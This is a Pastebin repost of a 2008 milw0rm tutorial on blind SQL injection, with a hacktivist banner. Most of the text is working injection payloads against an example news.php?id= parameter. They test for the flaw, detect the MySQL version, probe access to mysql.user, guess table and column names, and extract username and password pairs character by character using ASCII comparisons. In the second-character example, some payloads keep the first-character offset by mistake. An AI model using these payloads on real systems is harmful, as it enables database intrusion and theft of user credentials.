Advertisement
Mspony

@Ms_Pony_Blind_SQLi_Tut

Jul 3rd, 2011
317
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.77 KB | None | 0 0
  1. |################################################################
  2. |
  3. | __ __ ______ __ ____
  4. | _\ \\ \__ /\ _ \ /\ \__ __/\ _`\
  5. |/\__ _ _\\ \ \L\ \ ___\ \ ,_\/\_\ \,\L\_\ __ ___
  6. |\/_L\ \\ \L_\ \ __ \ /' _ `\ \ \/\/\ \/_\__ \ /'__`\ /'___\
  7. | /\_ _ _\\ \ \/\ \/\ \/\ \ \ \_\ \ \/\ \L\ \/\ __//\ \__/
  8. | \/_/\_\\_\/ \ \_\ \_\ \_\ \_\ \__\\ \_\ `\____\ \____\ \____\
  9. | \/_//_/ \/_/\/_/\/_/\/_/\/__/ \/_/\/_____/\/____/\/____/
  10. |
  11. |################################################################
  12. |
  13. | Become Anonymous, Join the revolution
  14. | Re-Formated, Upped by @Ms_Pony (mspony@hush.com)
  15. |
  16. |################################################################
  17.  
  18. Please note this is not my tut and was written by marezzi and posted on milw0rm in April 08
  19. it is for those that already understand basic SQL. I have not edited it, only simply
  20. reformatted it a little bit to make it easier to read.
  21.  
  22.  
  23. Blind SQL Injection
  24.  
  25. Blind injection is a little more complicated the classic injection but it can be done :D
  26. I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad
  27. to read it :D
  28.  
  29. Let's start with advanced stuff.
  30.  
  31. I will be using our example
  32.  
  33. ###################################################################
  34. http://www.site.com/news.php?id=5
  35. ###################################################################
  36.  
  37. when we execute this, we see some page and articles on that page, pictures etc...
  38. then when we want to test it for blind sql injection attack:
  39.  
  40. ###################################################################
  41. http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
  42. ###################################################################
  43.  
  44. and the page loads normally, that's ok.
  45. now the real test:
  46.  
  47. ###################################################################
  48. http://www.site.com/news.php?id=5 and 1=2 <--- this is false
  49. ###################################################################
  50.  
  51. so if some text, picture or some content is missing on returned page then that site is
  52.  
  53. vulrnable to blind sql injection.
  54.  
  55. 1) Get the MySQL version
  56.  
  57. to get the version in blind attack we use substring
  58.  
  59. i.e:
  60.  
  61. ###################################################################
  62. http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
  63. ###################################################################
  64.  
  65. this should return TRUE if the version of MySQL is 4.
  66. replace 4 with 5, and if query return TRUE then the version is 5.
  67.  
  68. i.e:
  69.  
  70. ###################################################################
  71. http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
  72. ###################################################################
  73.  
  74. 2) Test if subselect works
  75.  
  76. when select don't work then we use subselect
  77.  
  78. i.e:
  79.  
  80. ###################################################################
  81. http://www.site.com/news.php?id=5 and (select 1)=1
  82. ###################################################################
  83.  
  84. if page loads normally then subselects work.
  85. then we gonna see if we have access to mysql.user
  86.  
  87. i.e:
  88.  
  89. ###################################################################
  90. http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
  91. ###################################################################
  92.  
  93. if page loads normally we have access to mysql.user and then later we can pull some
  94.  
  95. password usign load_file() function and OUTFILE.
  96.  
  97. 3). Check table and column names
  98.  
  99. This is part when guessing is the best friend :)
  100.  
  101. i.e:
  102.  
  103. ###################################################################
  104. http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1
  105. ###################################################################
  106.  
  107. with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row,
  108.  
  109. this is very important.
  110.  
  111. then if the page loads normally without content missing, the table users exits.
  112. if you get FALSE (some article missing), just change table name until you guess the right
  113.  
  114. one :)
  115.  
  116. let's say that we have found that table name is users, now what we need is column name.
  117. the same as table name, we start guessing. Like i said before try the common names for
  118.  
  119. columns.
  120.  
  121. i.e:
  122.  
  123. ###################################################################
  124. http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users
  125.  
  126. limit 0,1)=1
  127. ###################################################################
  128.  
  129. if the page loads normally we know that column name is password (if we get false then try
  130.  
  131. common names or just guess)
  132.  
  133. here we merge 1 with the column password, then substring returns the first character (,1,1)
  134.  
  135.  
  136. 4). Pull data from database
  137.  
  138. we found table users i columns username password so we gonna pull characters from that.
  139.  
  140. ###################################################################
  141. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat
  142.  
  143. (username,0x3a,password) from users limit 0,1),1,1))>80
  144. ###################################################################
  145.  
  146. ok this here pulls the first character from first user in table users.
  147.  
  148. substring here returns first character and 1 character in length. ascii() converts that 1
  149.  
  150. character into ascii value
  151.  
  152. and then compare it with simbol greater then > .
  153.  
  154. so if the ascii char greater then 80, the page loads normally. (TRUE)
  155.  
  156. we keep trying until we get false.
  157.  
  158. ###################################################################
  159. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat
  160.  
  161. (username,0x3a,password) from users limit 0,1),1,1))>95
  162. ###################################################################
  163.  
  164. we get TRUE, keep incrementing
  165.  
  166. ###################################################################
  167. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat
  168.  
  169. (username,0x3a,password) from users limit 0,1),1,1))>98
  170. ###################################################################
  171.  
  172. TRUE again, higher
  173.  
  174. ###################################################################
  175. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat
  176.  
  177. (username,0x3a,password) from users limit 0,1),1,1))>99
  178. ###################################################################
  179.  
  180. FALSE!!!
  181.  
  182. ###################################################################
  183. so the first character in username is char(99). Using the ascii converter we know that
  184.  
  185. char(99) is letter 'c'.
  186. ###################################################################
  187.  
  188. then let's check the second character.
  189.  
  190. ###################################################################
  191. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat
  192.  
  193. (username,0x3a,password) from users limit 0,1),2,1))>99
  194. ###################################################################
  195.  
  196. Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second
  197.  
  198. character, 1 character in lenght)
  199.  
  200. ###################################################################
  201. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat
  202.  
  203. (username,0x3a,password) from users limit 0,1),1,1))>99
  204. ###################################################################
  205.  
  206. TRUE, the page loads normally, higher.
  207.  
  208. ###################################################################
  209. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat
  210.  
  211. (username,0x3a,password) from users limit 0,1),1,1))>107
  212. ###################################################################
  213.  
  214. FALSE, lower number.
  215.  
  216. ###################################################################
  217. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat
  218.  
  219. (username,0x3a,password) from users limit 0,1),1,1))>104
  220. ###################################################################
  221.  
  222. TRUE, higher.
  223.  
  224. ###################################################################
  225. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat
  226.  
  227. (username,0x3a,password) from users limit 0,1),1,1))>105
  228. ###################################################################
  229.  
  230. FALSE!!!
  231.  
  232. we know that the second character is char(105) and that is 'i'. We have 'ci' so far
  233. so keep incrementing until you get the end. (when >0 returns false we know that we have
  234. reach the end).
  235.  
  236. There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing
  237. everything manually, cause that makes you better SQL INJECTOR :D
  238.  
  239. Hope you learned something from this paper.
  240.  
  241.  
  242. Have FUN! (:
  243.  
  244. To be continued and updated...
  245.  
  246.  
  247. marezzi@gmail.com
  248.  
  249. [18 April 2008]
  250.  
  251. # milw0rm.com [2008-05-22]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement